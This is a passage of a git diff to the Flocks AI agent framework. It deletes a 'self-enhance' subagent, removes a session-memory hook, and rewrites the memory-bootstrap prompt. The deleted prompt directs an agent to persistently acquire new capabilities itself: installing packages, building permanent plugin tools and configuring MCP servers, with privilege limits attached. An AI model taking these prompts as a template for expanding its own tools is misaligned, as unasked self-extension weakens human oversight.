the list of attempted approaches and what specific input is needed (e.g., "please provide SMTP credentials") - -**Step 4 — Only give up after genuine effort** - -You may tell the user "I cannot do this" ONLY after: -1. The `self-enhance` agent has been invoked and also failed -2. You have clearly explained what was tried and why it failed -3. You specify exactly what the user needs to provide for the task to succeed - -### What self-enhance Can Do - -The `self-enhance` agent is capable of: -- Writing and testing Python scripts using the standard library -- Installing PyPI packages inside the project virtualenv via `source .venv/bin/activate && uv add ...` -- Creating permanent Flocks plugin tools using the `tool-builder` skill -- Configuring MCP servers for complex integrations -- Researching solutions via `websearch` and `webfetch` - -### Security Constraints (apply to all agents) - -These constraints apply when acquiring new capabilities: - -| Allowed | Prohibited | -|---|---| -| `source .venv/bin/activate && uv add ...` from PyPI | `sudo`, `su`, elevated privileges | -| Writing scripts to `/tmp` or project dirs | Downloading binary executables | -| Creating plugins in `~/.flocks/plugins/` | Installing from non-PyPI sources | -| Installing into the project virtualenv | Modifying system Python or `/usr/` | -| Storing secrets via `get_secret_manager()` | Hardcoding credentials in code | - -If a capability requires elevated privileges or system-level access: **stop, explain to the user, and ask them to perform that step manually**. - ## Skill Discovery Protocol Rex has a dedicated `flocks_skills` tool for managing agent skills. @@ -143,34 +57,12 @@ Rex has a dedicated `flocks_skills` tool for managing agent skills. | Situation | Action | |---|---| | User says "find a skill for X" | `flocks_skills(subcommand="find", args="X")` | -| You are about to say "I can't do X" | Run `find` first; a skill may exist | | User says "install this skill" | `flocks_skills(subcommand="install", args="")` | | After any install | `flocks_skills(subcommand="status")` to check deps | | Status shows unmet deps | `flocks_skills(subcommand="install-deps", args="")` | --- -### Examples - -**Example 1: Email notification** -> Task: "After completing the investigation, send an email summary to security@company.com" -> -> Rex detects: no email tool exists. -> Rex delegates: `delegate_task(subagent_type="self-enhance", prompt="Need email sending capability. Task: send investigation summary to security@company.com after analysis is complete.")` -> self-enhance creates: `send_email` plugin tool using smtplib or an email API -> Rex uses: `send_email(to="security@company.com", subject="Investigation Summary", body="...")` - -**Example 2: Excel report generation** -> Task: "Export the findings to an Excel file" -> -> Rex delegates to self-enhance → self-enhance installs `openpyxl` → creates `generate_excel_report` tool → Rex uses it. - -**Example 3: Slack notification** -> Task: "Post a Slack message when done" -> -> Rex delegates to self-enhance → self-enhance creates YAML-HTTP tool for Slack webhook → Rex calls `slack_send_message(webhook_url="...", text="...")`. -> Note: Rex then asks user for the Slack webhook URL if not in secrets. - ## Important - 涉及 `tdp`、`onesec`、`skyeye`、`qingteng` 的任务时，必须先读取并遵循对应的 skill。 - 对上述系统，禁止绕过对应 skill 直接调用相关 tools；也不要直接使用 `browser`。 diff --git a/flocks/agent/agents/self_enhance/agent.yaml b/flocks/agent/agents/self_enhance/agent.yaml deleted file mode 100644 index 35bb6fbd2..000000000 --- a/flocks/agent/agents/self_enhance/agent.yaml +++ /dev/null @@ -1,42 +0,0 @@ -name: self-enhance -name_cn: 能力增强智能体 -description: >- - Capability acquisition agent. Delegate when Rex encounters a capability gap - (missing library, no tool for a task). Researches solutions, installs packages - via the project virtualenv and uv, creates permanent plugin tools using the - tool-builder skill, and verifies everything works before reporting back. -mode: subagent -hidden: false -tags: [system] -color: "#27AE60" -delegatable: true -steps: 40 -tools: - - tool_search - - read - - glob - - grep - - edit - - write - - apply_patch - - bash - - websearch - - webfetch - - skill_load -prompt_metadata: - category: self-enhancement - cost: medium - prompt_alias: Self-Enhance - triggers: - - domain: Capability acquisition - trigger: Missing library, tool, or integration needed to complete the task - use_when: - - Rex lacks a tool or library needed for the current task - - A Python package needs to be installed to complete the task - - A new plugin tool needs to be created for a recurring operation - - An external API or service needs to be integrated as a Flocks tool - avoid_when: - - The task can be solved with existing tools (bash, websearch, read, write, etc.) - - The gap is due to missing credentials or API keys — ask the user instead - - The operation requires sudo or root privileges — escalate to user - key_trigger: "Capability gap detected -> delegate to self-enhance before giving up" diff --git a/flocks/agent/agents/self_enhance/prompt.md b/flocks/agent/agents/self_enhance/prompt.md deleted file mode 100644 index e7d4ae9a5..000000000 --- a/flocks/agent/agents/self_enhance/prompt.md +++ /dev/null @@ -1,192 +0,0 @@ -You are **Self-Enhance**, a capability acquisition specialist for the Flocks AI system. - -Your sole mission: when Rex or another agent cannot complete a task because a required capability is missing, you research, build, install, and verify that capability — then report back so the main task can continue. - -You are a problem-solver and builder. You never give up without genuinely trying. - ---- - -## Your Mandate - -You receive a description of a capability gap. Your job is to close that gap by: -1. Finding the simplest working solution -2. Implementing it (script, package install, or plugin tool) -3. Verifying it works -4. Reporting the result back clearly - -You have strong capability-acquisition access through `bash`, `read`, `write`, `edit`, `apply_patch`, `websearch`, `webfetch`, and `skill_load`. Use them freely but safely. - ---- - -## Resolution Protocol (follow in order, skip steps that clearly don't apply) - -### Step 1 — Reframe: Can existing tools solve this? - -Before installing anything, check: -- Can `bash` with Python's **standard library** handle this? (smtplib for email, urllib for HTTP, json/csv/xml built-in, sqlite3 for databases) -- Can a short bash one-liner or Python script do the job without any new packages? - -If yes → write the script, test it, report success. No installation needed. - -### Step 2 — Research: Find the best solution - -Use `websearch` and `webfetch` to find: -- The canonical Python library for the task -- Quick-start examples -- Any known gotchas or security concerns - -Prioritize in this order: -1. **Python standard library** (zero dependencies, always available) -2. **Well-known PyPI packages** (requests, httpx, sendgrid, openpyxl, etc.) -3. **MCP servers** (for browser automation, complex integrations) - -### Step 3 — Prototype: Validate with a minimal bash script - -Before creating a permanent plugin, write and run a minimal test script via `bash`: - -```python -# /tmp/test_capability.py -# Test the solution with minimal, safe parameters -``` - -This proves the approach works before investing in a full plugin. - -### Step 4 — Install: Add required packages - -If a PyPI package is needed, install it via `bash` using the project virtualenv and `uv`: -- First activate the environment: `source .venv/bin/activate` -- Then add the dependency with `uv add ` -- Prefer packages with large download counts and active maintenance -- Never install packages that require sudo, compile native extensions from untrusted sources, or have known security issues - -### Step 5 — Build: Create a permanent plugin tool - -Once the solution is proven, use the `tool-builder` skill to create a permanent Flocks plugin: - -``` -skill_load(name="tool-builder") -``` - -Follow the skill's instructions to create either: -- A **Python plugin** (`~/.flocks/plugins/tools/python/`) for logic-heavy tools -- A **YAML-HTTP plugin** (`~/.flocks/plugins/tools/api/`) for simple REST APIs -- An **MCP config** (`~/.flocks/plugins/tools/mcp/`) for MCP servers - -The tool-builder skill handles all file creation, validation, and smoke testing. - -**If the capability gap is an external API integration**, do not stop at a minimal demo unless the caller explicitly asked for one endpoint only. - -- Inventory the provider's API surface first from official docs / OpenAPI / navigation pages -- Build tools for all in-scope endpoints that are practical to support -- Treat every discovered endpoint as needing one of two outcomes: implemented, or explicitly skipped with a reason -- Keep traversing additional endpoint groups/pages until coverage is complete enough to hand back to Rex with confidence -- Report implemented vs skipped endpoint groups in the final result - -### Step 6 — MCP fallback: Search for existing MCP servers - -If Steps 1–5 don't yield a clean solution, search for an existing MCP server: - -``` -websearch("MCP server {capability} site:github.com OR site:npmjs.com") -webfetch("https://modelcontextprotocol.io/examples") -``` - -If found, configure it using the tool-builder skill (Mode C: MCP). - -### Step 7 — Report: Return a clear result to the caller - -Always end with a structured report: - -**On success:** -``` -CAPABILITY ACQUIRED - -Tool created: {tool_name} -How to use: {one-line usage description} -Example call: {tool_name}(param1="...", param2="...") - -Notes: {any important caveats, e.g. requires API key in .secret.json} -``` - -**On failure:** -``` -CAPABILITY NOT ACQUIRED - -Attempted: -1. Standard library approach: {result} -2. Package install ({package}): {result} -3. Plugin creation: {result} -4. MCP search: {result} - -Reason unable to proceed: {clear explanation} -Suggested next step for user: {what the user should do, e.g. provide API key, grant permissions} -``` - ---- - -## Common Capability Gaps — Quick Reference - -### Email sending -**Standard library first (no install needed):** -```python -import smtplib -from email.mime.text import MIMEText -# Works with Gmail (App Password), corporate SMTP, etc. -``` -**If SMTP not available:** Create YAML-HTTP tool for SendGrid/Mailgun/Resend API. - -### HTTP notifications (Slack, Telegram, Webhook) -Use `bash` + `curl` for one-off, or create YAML-HTTP plugin tool for recurring use. -- Slack: POST to Incoming Webhook URL -- Telegram: POST to `https://api.telegram.org/bot{token}/sendMessage` -- Generic webhook: any POST endpoint - -### File format conversion -```bash -source .venv/bin/activate -uv add openpyxl pandas pypdf2 python-docx -``` - -### Browser automation / screenshots -Use the MCP playwright server: -``` -websearch("playwright mcp server npm") -# Configure via tool-builder skill, Mode C -``` - -### Database access -```bash -source .venv/bin/activate -uv add sqlalchemy psycopg2-binary pymysql -``` - -### HTTP client (when urllib is insufficient) -```bash -source .venv/bin/activate -uv add httpx -# or -uv add requests -``` - ---- - -## Security Constraints (NEVER violate) - -- **NEVER** use `sudo`, `su`, or elevated privileges -- **NEVER** install from non-PyPI sources (no `--index-url`, no `git+`, no direct URL installs from untrusted sources) -- **NEVER** download and execute binary files -- **NEVER** modify system Python or system files -- **NEVER** store credentials in plain text in code — always use `get_secret_manager().get("key_name")` -- **ALWAYS** validate that a package is legitimate before installing (check PyPI page, download count, last update) -- **ALWAYS** use the project virtualenv plus `uv` (`source .venv/bin/activate && uv add ...`), not system Python or raw global installs - ---- - -## Execution Principles - -- **Try hard, fail gracefully**: make at least 3 distinct attempts before declaring failure -- **Verify before reporting**: always run a smoke test to confirm the solution works -- **Minimal footprint**: prefer standard library → single package → MCP; don't install what you don't need -- **Be specific in reports**: tell Rex exactly which tool to call and with what parameters -- **One tool per capability**: create focused, well-named plugin tools rather than monoliths -- **For API integrations, bias toward broad endpoint coverage**: if docs reveal more supported endpoints, continue until each discovered endpoint is implemented or explicitly skipped diff --git a/flocks/cli/commands/acp.py b/flocks/cli/commands/acp.py index b83e193b0..1ff4b3f28 100644 --- a/flocks/cli/commands/acp.py +++ b/flocks/cli/commands/acp.py @@ -109,14 +109,10 @@ async def start(self) -> None: # Initialize built-in hooks try: - from flocks.config import Config - config = await Config.get() - - # Register built-in hooks if memory is enabled - if config.memory.enabled: - from flocks.hooks.builtin import register_builtin_hooks - register_builtin_hooks() - log.info("acp.hooks.registered") + from flocks.hooks.builtin import register_builtin_hooks + + register_builtin_hooks() + log.info("acp.hooks.registered") except Exception as e: # Hook registration failure should not stop server startup log.warn("acp.hooks.register_failed", {"error": str(e)}) diff --git a/flocks/hooks/builtin/__init__.py b/flocks/hooks/builtin/__init__.py index 9a91a9d59..0c5ab0b76 100644 --- a/flocks/hooks/builtin/__init__.py +++ b/flocks/hooks/builtin/__init__.py @@ -4,7 +4,6 @@ Registers all built-in hooks that come with Flocks. """ -from flocks.hooks.builtin.session_memory import register_session_memory_hook from flocks.utils.log import Log log = Log.create(service="hooks.builtin") @@ -13,23 +12,9 @@ def register_builtin_hooks() -> None: """ Register all built-in hooks - + Should be called once during application startup. """ log.info("hooks.builtin.registering") - - try: - # Register session memory hook - register_session_memory_hook() - - # Future: Register additional built-in hooks here - # register_command_logger_hook() - # register_error_reporter_hook() - - log.info("hooks.builtin.registered") - - except Exception as e: - log.error("hooks.builtin.register_failed", { - "error": str(e), - }) - raise + # Future built-in hooks are registered here. + log.info("hooks.builtin.registered") diff --git a/flocks/hooks/builtin/session_memory.py b/flocks/hooks/builtin/session_memory.py deleted file mode 100644 index 23d0399e3..000000000 --- a/flocks/hooks/builtin/session_memory.py +++ /dev/null @@ -1,382 +0,0 @@ -""" -Session Memory Hook - Auto-save session to memory system - -Automatically saves session context to memory when /new command is triggered. -Inspired by OpenClaw's session-memory hook. -""" - -from typing import Optional, List, Dict, Any -from pathlib import Path -from datetime import datetime, timezone -import json - -from flocks.hooks.types import HookEvent -from flocks.hooks.registry import register_hook -from flocks.session.recorder import Recorder -from flocks.memory.manager import MemoryManager -from flocks.memory.config import MemoryConfig -from flocks.config import Config -from flocks.utils.log import Log - -log = Log.create(service="hooks.session_memory") - - -class SessionMemoryHook: - """Session memory save hook""" - - # Configuration - DEFAULT_MESSAGE_COUNT = 15 # Default: extract last 15 messages - - @staticmethod - async def handler(event: HookEvent) -> None: - """ - Hook handler - - Only triggers on command:new events - """ - # Only handle command:new events - if event.type != "command" or event.action != "new": - return - - try: - log.info("session_memory.triggered", { - "session_id": event.session_id, - }) - - # Get configuration - config = await Config.get() - memory_config = getattr(config, 'memory', None) - - # Check if enabled - if not memory_config or not memory_config.enabled: - log.debug("session_memory.disabled") - return - - # Check session_memory hook config - hooks_config = getattr(memory_config, 'hooks', None) - if not hooks_config: - log.debug("session_memory.no_hooks_config") - return - - hook_config = getattr(hooks_config, 'session_memory', None) - if not hook_config or not getattr(hook_config, 'enabled', True): - log.debug("session_memory.hook_disabled") - return - - # Extract context - context = event.context - previous_session_id = context.get("previous_session_id") - - if not previous_session_id: - log.debug("session_memory.no_previous_session") - return - - # Execute save - await SessionMemoryHook._save_session_to_memory( - session_id=previous_session_id, - context=context, - config=memory_config, - hook_config=hook_config, - ) - - except Exception as e: - log.error("session_memory.handler_error", { - "error": str(e), - "session_id": event.session_id, - }) - - @staticmethod - async def _save_session_to_memory( - session_id: str, - context: Dict[str, Any], - config: Any, - hook_config: Any, # MemoryHooksSessionMemoryConfig - ) -> None: - """ - Save session to memory file - - Steps: - 1. Read session JSONL records - 2. Extract last N messages - 3. Generate slug using LLM - 4. Construct Markdown content - 5. Write to memory file (in ~/.flocks/data/memory/) - """ - # 1. Read session messages - messages = await SessionMemoryHook._read_session_messages( - session_id=session_id, - message_count=getattr(hook_config, 'message_count', SessionMemoryHook.DEFAULT_MESSAGE_COUNT), - ) - - if not messages: - log.warn("session_memory.no_messages", {"session_id": session_id}) - return - - # 2. Generate slug - slug = await SessionMemoryHook._generate_slug( - messages=messages, - session_id=session_id, - config=config, - ) - - # 3. Construct Markdown content - content = SessionMemoryHook._build_markdown_content( - session_id=session_id, - messages=messages, - context=context, - ) - - # 4. Write to memory file (via MemoryManager) - await SessionMemoryHook._write_to_memory( - content=content, - slug=slug, - project_id=context.get("project_id", "default"), - workspace_dir=context.get("workspace_dir", "."), - config=config, - ) - - @staticmethod - async def _read_session_messages( - session_id: str, - message_count: int, - ) -> List[Dict[str, str]]: - """ - Read recent messages from JSONL records - - Returns: - List of {role: str, content: str} - """ - try: - # Get session record file path - paths = Recorder.paths() - session_file = paths.session_dir / f"{session_id}.jsonl" - - if not session_file.exists(): - log.warn("session_memory.file_not_found", { - "session_id": session_id, - "path": str(session_file), - }) - return [] - - # Read and parse JSONL - messages = [] - content = session_file.read_text(encoding='utf-8') - - for line in content.strip().split('\n'): - if not line.strip(): - continue - - try: - entry = json.loads(line) - - # Extract session.message type entries - if entry.get('type') == 'session.message': - role = entry.get('role', '') - text = entry.get('text', '') - - # Only keep user and assistant messages - # Skip command messages (starting with /) - if role in ['user', 'assistant'] and text and not text.startswith('/'): - messages.append({ - 'role': role, - 'content': text, - }) - - except json.JSONDecodeError: - continue - - # Return last N messages - recent_messages = messages[-message_count:] if messages else [] - - log.debug("session_memory.messages_read", { - "session_id": session_id, - "total": len(messages), - "recent": len(recent_messages), - }) - - return recent_messages - - except Exception as e: - log.error("session_memory.read_messages_error", { - "session_id": session_id, - "error": str(e), - }) - return [] - - @staticmethod - async def _generate_slug( - messages: List[Dict[str, str]], - session_id: str, - config: Any, - ) -> str: - """ - Generate filename slug - - Prioritize LLM-generated descriptive name, fallback to timestamp - - Returns: - slug string (e.g., "api-design" or "1430") - """ - from flocks.hooks.builtin.slug_generator import generate_slug_via_llm - - # Try using LLM - try: - conversation = "\n".join([ - f"{msg['role']}: {msg['content']}" - for msg in messages - ]) - - slug = await generate_slug_via_llm( - conversation=conversation, - config=config, - session_id=session_id, - ) - - if slug: - log.info("session_memory.slug_generated", { - "session_id": session_id, - "slug": slug, - "method": "llm", - }) - return slug - - except Exception as e: - log.warn("session_memory.slug_generation_failed", { - "session_id": session_id, - "error": str(e), - }) - - # Fallback: HHMMSS + short session hash for uniqueness - now = datetime.now() - session_hash = session_id[:6] if len(session_id) >= 6 else session_id - slug = f"{now.strftime('%H%M%S')}-{session_hash}" - - log.info("session_memory.slug_generated", { - "session_id": session_id, - "slug": slug, - "method": "timestamp", - }) - - return slug - - @staticmethod - def _build_markdown_content( - session_id: str, - messages: List[Dict[str, str]], - context: Dict[str, Any], - ) -> str: - """ - Construct Markdown format memory content - - Format (based on OpenClaw): - # Session: YYYY-MM-DD HH:MM:SS UTC - - - **Session ID**: xxx - - **Project**: xxx - - ## Conversation Summary - - user: ... - assistant: ... - """ - now = datetime.now(timezone.utc) - date_str = now.strftime("%Y-%m-%d") - time_str = now.strftime("%H:%M:%S") - - # Build metadata section - lines = [ - f"# Session: {date_str} {time_str} UTC", - "", - f"- **Session ID**: {session_id}", - ] - - # Add optional context - if context.get("project_id"): - lines.append(f"- **Project**: {context['project_id']}") - - lines.extend(["", "## Conversation Summary", ""]) - - # Add conversation content - for msg in messages: - # Truncate long messages - content = msg['content'] - if len(content) > 2000: - content = content[:2000] + "...[truncated]" - - lines.append(f"**{msg['role']}**: {content}") - lines.append("") - - return "\n".join(lines) - - @staticmethod - async def _write_to_memory( - content: str, - slug: str, - project_id: str, - workspace_dir: str, - config: Any, - ) -> None: - """ - Write to memory file - - File path: ~/.flocks/data/memory/YYYY-MM-DD-slug.md - - Note: Flocks uses global path, different from OpenClaw's project-relative path. - This design enables cross-project memory sharing and access. - """ - try: - # Ensure config is a proper MemoryConfig instance - if isinstance(config, dict): - memory_config = MemoryConfig(**config) - elif isinstance(config, MemoryConfig): - memory_config = config - else: - memory_config = MemoryConfig(enabled=True) - - memory_manager = MemoryManager.get_instance( - project_id=project_id, - workspace_dir=workspace_dir, - config=memory_config, - ) - - await memory_manager.initialize() - - date_str = datetime.now().strftime("%Y-%m-%d") - filename = f"{date_str}-{slug}.md" - - from flocks.config import Config as _Cfg - _mem_root = _Cfg.get_data_path() / "memory" - file_exists = (_mem_root / filename).exists() - - written_path = await memory_manager.write_memory( - content=content, - path=filename, - append=file_exists, - ) - - log.info("session_memory.saved", { - "path": written_path, - "length": len(content), - }) - - except Exception as e: - log.error("session_memory.write_error", { - "error": str(e), - "slug": slug, - }) - - -# Register hook -def register_session_memory_hook() -> None: - """Register session memory hook""" - register_hook( - event_key="command:new", - handler=SessionMemoryHook.handler, - metadata={ - "name": "session-memory", - "description": "Auto-save session to memory system", - "priority": 100, - }, - ) - - log.info("session_memory.registered") diff --git a/flocks/memory/__init__.py b/flocks/memory/__init__.py index eac590ecc..d13797cb3 100644 --- a/flocks/memory/__init__.py +++ b/flocks/memory/__init__.py @@ -3,18 +3,19 @@ Provides persistent memory and semantic search capabilities for agents. -Based on OpenClaw's memory system, adapted for Flocks architecture. +Uses filesystem-managed curated Memory plus lifecycle-owned Daily evidence. """ # Core manager from flocks.memory.manager import MemoryManager -# OpenClaw-style components +# Filesystem-managed components from flocks.memory.bootstrap import MemoryBootstrap from flocks.memory.daily import DailyMemory from flocks.memory.flush import MemoryFlush, extract_and_save from flocks.memory.types import ( + MemoryScope, MemorySource, MemorySearchResult, MemorySyncProgress, @@ -33,6 +34,7 @@ MemoryCacheConfig, MemoryBatchConfig, MemoryAutoFlushConfig, + resolve_memory_config, ) from flocks.memory.utils import ( @@ -47,13 +49,14 @@ # Core "MemoryManager", - # OpenClaw-style components + # Filesystem-managed components "MemoryBootstrap", "DailyMemory", "MemoryFlush", "extract_and_save", # Types + "MemoryScope", "MemorySource", "MemorySearchResult", "MemorySyncProgress", @@ -71,6 +74,7 @@ "MemoryCacheConfig", "MemoryBatchConfig", "MemoryAutoFlushConfig", + "resolve_memory_config", # Utils "compute_hash", diff --git a/flocks/memory/bootstrap.py b/flocks/memory/bootstrap.py index ba8777ae2..88e0b4992 100644 --- a/flocks/memory/bootstrap.py +++ b/flocks/memory/bootstrap.py @@ -1,55 +1,97 @@ """ Memory Bootstrap - Load memory files at session start -Implements OpenClaw-style memory loading: -1. MEMORY.md - Main long-term memory (auto-injected) -2. memory/daily/YYYY-MM-DD.md - Daily notes for any calendar date -3. memory_search tool - Search all history +Implements filesystem-managed loading with the Hermes Agent USER/Memory split: +1. USER.md - Stable user identity and preferences (auto-injected) +2. MEMORY.md - Global cross-project memory (auto-injected) +3. projects//MEMORY.md - Registered Project memory (auto-injected) +4. daily/YYYY-MM-DD.md - Daily notes for any calendar date +5. memory_search tool - Search all visible memory and history """ -from typing import Optional, Dict, Any, List -from pathlib import Path from datetime import datetime, timedelta +from typing import Any, Dict, List, Optional +from flocks.memory.paths import ( + GLOBAL_MEMORY_FILENAME, + PROJECT_MEMORY_INITIAL_CONTENT, + USER_FILENAME, + is_registered_project_id, +) from flocks.utils.file import File from flocks.utils.log import Log log = Log.create(service="memory.bootstrap") # File names -MEMORY_FILENAME = "MEMORY.md" +MEMORY_FILENAME = GLOBAL_MEMORY_FILENAME MEMORY_ALT_FILENAME = "memory.md" -# Default instructions for agent (similar to OpenClaw's AGENTS.md) +INITIAL_USER_PROFILE = """# User Profile + +## Identity and Context + +## Communication Preferences + +## Working Style + +## Technical Level +""" + +# Default instructions informed by Hermes Agent and MiMo-Code memory prompts. # Uses global storage paths for Flocks MEMORY_INSTRUCTIONS = """ ## Memory System Guidance You have access to a persistent memory system for continuity across sessions. -On-disk memory root (absolute path): `{memory_root}`. The same store is shared across all your sessions. +On-disk memory root (absolute path): `{memory_root}`. +`USER.md` and Global `MEMORY.md` follow the open-source Hermes Agent split: +USER describes the user; Memory contains the agent's durable notes. -### Files Available: -1. `MEMORY.md` - Your long-term curated memory (already injected above) -2. `daily/YYYY-MM-DD.md` - Daily notes for **any** calendar date; substitute the date you need, then read with `memory_get` (path is relative to the memory root above). -3. Examples for the current session: today `daily/{today}.md`, yesterday `daily/{yesterday}.md` — any other day uses the same pattern with that day's `YYYY-MM-DD`. +### Memory Layers: +1. `{memory_root}/USER.md` - Who the user is: stable identity, communication preferences, expectations, working style, and technical level (already injected above) +2. `{memory_root}/MEMORY.md` - The agent's global notes: cross-project environment and tool facts, lessons and corrections, and external references (already injected above) +{project_file_instruction} +4. `{memory_root}/daily/YYYY-MM-DD.md` - Lifecycle journal used as evidence for later consolidation. It is searchable but not curated or injected. +5. Current examples: `{memory_root}/daily/{today}.md` and `{memory_root}/daily/{yesterday}.md`. -### When to Write Memory: -- **Daily notes**: Use path `daily/YYYY-MM-DD.md` - Raw logs of what happened today -- **Long-term**: Use path `MEMORY.md` - Curated memories, decisions, lessons learned -- Write memories BEFORE the session ends, especially if important work was done -- If someone says "remember this", write it down immediately using memory tools +### Managing Memory Files: +- The injected USER, Global, and Project files are a snapshot for this run. Read the file again before changing it. +- Use `read`, `glob`, and `grep` to inspect Memory explicitly, and `memory_search` for indexed recall across all projects. +- Use `write` only to create a missing curated Memory file. Use `edit` for precise entry-level changes to an existing curated file. +- Never write or edit `daily/`; only the Session lifecycle may append Daily entries. +- **User profile**: Maintain `{memory_root}/USER.md` only for facts about the user. +- **Global agent notes**: Maintain `{memory_root}/MEMORY.md` only for knowledge that remains useful across projects. +{project_write_instruction} +- If the user explicitly asks you to remember something, update the narrowest appropriate curated file without interrupting the current task. -### Memory Best Practices: -- Use `daily/YYYY-MM-DD.md` for daily logs (system auto-creates if needed) -- Update `MEMORY.md` for important, lasting information -- Use `memory_search` tool to find information from all past memories -- Review old daily files and distill key points into MEMORY.md -- Don't keep secrets unless explicitly asked +### Memory Write Decision: +- Save information that is likely to reduce future user steering or prevent the same correction from being needed again. +- Save only stable user facts, non-derivable project constraints, explicit corrections, and verified reusable experience. +- Classify each candidate in this order: + 1. If it contains secrets, credentials, guesses, transient task state, plans, one-off results, or facts that can be cheaply rediscovered from source code, configuration, or other authoritative files, do not save it. + 2. If it describes how to repeatedly perform a task, it belongs in a Skill rather than Memory. + 3. If it describes the user, including identity or preferences, store it in `USER.md`. + 4. If it applies only to the current project, store it in Project `MEMORY.md`. + 5. If it is declarative Agent or environment knowledge that applies across projects, store it in Global `MEMORY.md`. + 6. If its destination is unclear, its evidence is weak, or equivalent knowledge already exists, make no change. +- Give each accepted item exactly one canonical destination. Do not duplicate the same knowledge across `USER.md`, Global `MEMORY.md`, and Project `MEMORY.md`. +- After choosing the destination file, use exactly one section: + - Global `MEMORY.md / Environment and Tools`: stable cross-project facts about the Agent's environment, tools, and integrations. + - Global `MEMORY.md / Lessons and Corrections`: cross-project conventions, verified tool quirks, successful practices, corrections, and reusable lessons. + - Global `MEMORY.md / References`: pointers to external systems or authoritative sources that apply across projects; store where to look, not copied content. + - Project `MEMORY.md / Project Context`: current-project goals, decisions, constraints, and durable facts that are not cheaply derivable from authoritative project files. + - Project `MEMORY.md / Lessons and Corrections`: current-project guidance, successful practices, corrections, and reusable lessons. + - Project `MEMORY.md / References`: pointers to external systems or authoritative sources that apply only to the current project; store where to look, not copied content. +- Write declarative facts, not commands to your future self. For example, `User prefers concise answers` is better than `Always answer concisely`. +- Check existing Memory first; merge or replace equivalent entries instead of duplicating them. +- Verify stale or conflicting Memory against current authoritative evidence before replacing or removing it. ### Available Tools: -- `memory_search` - Search all memories semantically -- `memory_write` - Write to memory files (daily or MEMORY.md) -- Standard `read`/`write` tools also work with memory paths +- `memory_search` - Reconcile and search indexed Memory across all projects +- `read`, `glob`, `grep` - Inspect Memory files +- `write` - Create a missing Memory file +- `edit` - Precisely update an existing Memory file """.strip() @@ -60,18 +102,24 @@ class MemoryBootstrap: Uses Flocks' global memory storage: ``/memory`` (see ``Config.get_data_path()``). """ - def __init__(self): - """Initialize memory bootstrap using global storage""" + def __init__(self, project_id: str = "default"): + """Initialize Memory bootstrap for a Session project.""" from flocks.config import Config - - # Use global data directory (matching Flocks' architecture) + + self.project_id = project_id + self.has_project_memory = is_registered_project_id(project_id) data_dir = Config.get_data_path() self.memory_dir = data_dir / "memory" self.daily_dir = self.memory_dir / "daily" + self.project_memory_path = ( + self.memory_dir / "projects" / project_id / MEMORY_FILENAME + if self.has_project_memory + else None + ) async def load_main_memory(self) -> Optional[Dict[str, Any]]: """ - Load main MEMORY.md file from .flocks/memory/ + Load the main MEMORY.md file from the configured data Memory root. Returns: Dict with path and content, or None if not found @@ -107,6 +155,68 @@ async def load_main_memory(self) -> Optional[Dict[str, Any]]: log.debug("bootstrap.main_not_found") return None + + async def load_user_profile(self) -> Optional[Dict[str, Any]]: + """Load the stable USER.md profile for prompt injection.""" + file_path = self.memory_dir / USER_FILENAME + try: + if not file_path.exists(): + return None + file_content = await File.read(str(file_path)) + content = ( + file_content.content + if hasattr(file_content, "content") + else str(file_content) + ) + if not content: + return None + log.info( + "bootstrap.loaded_user_profile", + {"path": USER_FILENAME, "size": len(content)}, + ) + return { + "path": USER_FILENAME, + "abs_path": str(file_path), + "content": content, + "inject": True, + } + except Exception as exc: + log.warn( + "bootstrap.load_user_profile_failed", + {"path": str(file_path), "error": str(exc)}, + ) + return None + + async def load_project_memory(self) -> Optional[Dict[str, Any]]: + """Load the current registered project's MEMORY.md.""" + if self.project_memory_path is None or not self.project_memory_path.exists(): + return None + try: + file_content = await File.read(str(self.project_memory_path)) + content = ( + file_content.content + if hasattr(file_content, "content") + else str(file_content) + ) + if not content: + return None + relative = f"projects/{self.project_id}/{MEMORY_FILENAME}" + log.info( + "bootstrap.loaded_project_memory", + {"path": relative, "size": len(content)}, + ) + return { + "path": relative, + "abs_path": str(self.project_memory_path), + "content": content, + "inject": True, + } + except Exception as exc: + log.warn( + "bootstrap.load_project_memory_failed", + {"path": str(self.project_memory_path), "error": str(exc)}, + ) + return None def get_daily_memory_paths( self, @@ -145,7 +255,7 @@ async def load_daily_memories( today: Optional[str] = None, ) -> List[Dict[str, Any]]: """ - Load daily memory files from .flocks/memory/daily/ + Load Daily Memory files from the configured data Memory root. Args: days_back: Number of days back to load @@ -194,10 +304,7 @@ async def create_memory_structure(self) -> None: """ Create memory directory structure if it doesn't exist - Creates: - - .flocks/memory/ - - .flocks/memory/daily/ - - .flocks/memory/MEMORY.md (if not exists) + Registered projects also receive ``projects//MEMORY.md``. """ try: # Create directories @@ -207,26 +314,42 @@ async def create_memory_structure(self) -> None: # Create MEMORY.md if it doesn't exist memory_file = self.memory_dir / MEMORY_FILENAME if not memory_file.exists(): - initial_content = """# Long-Term Memory - -This is your curated long-term memory file. Store important information here: + initial_content = """# Global Memory -## Key Facts -- +## Environment and Tools -## Decisions & Preferences -- +## Lessons and Corrections -## Lessons Learned -- - -## Important Context -- +## References """ memory_file.write_text(initial_content, encoding='utf-8') log.info("bootstrap.created_memory_file", { "path": MEMORY_FILENAME, }) + + user_file = self.memory_dir / USER_FILENAME + if not user_file.exists(): + user_file.write_text(INITIAL_USER_PROFILE, encoding="utf-8") + log.info( + "bootstrap.created_user_profile", + {"path": USER_FILENAME}, + ) + + if self.project_memory_path is not None: + self.project_memory_path.parent.mkdir(parents=True, exist_ok=True) + if not self.project_memory_path.exists(): + self.project_memory_path.write_text( + PROJECT_MEMORY_INITIAL_CONTENT, + encoding="utf-8", + ) + log.info( + "bootstrap.created_project_memory", + { + "path": ( + f"projects/{self.project_id}/{MEMORY_FILENAME}" + ) + }, + ) log.info("bootstrap.structure_ready", { "memory_dir": str(self.memory_dir), @@ -267,6 +390,36 @@ def get_agent_instructions( memory_root = (Config.get_data_path() / "memory").resolve() instructions = MEMORY_INSTRUCTIONS.replace("{memory_root}", str(memory_root)) + if self.has_project_memory: + project_file_instruction = ( + "3. `" + f"{memory_root}/projects/{self.project_id}/MEMORY.md" + "` - Current project context, lessons and corrections, and " + "external references (already injected above)" + ) + project_write_instruction = ( + "- **Project Memory**: Maintain `" + f"{memory_root}/projects/{self.project_id}/MEMORY.md" + "` for current project context, lessons and corrections, and " + "external references" + ) + else: + project_file_instruction = ( + "3. Project Memory is unavailable because this is not a registered " + "project Session" + ) + project_write_instruction = ( + "- **Project long-term**: unavailable in this default Session; " + "do not store project-only facts in Global Memory" + ) + instructions = instructions.replace( + "{project_file_instruction}", + project_file_instruction, + ) + instructions = 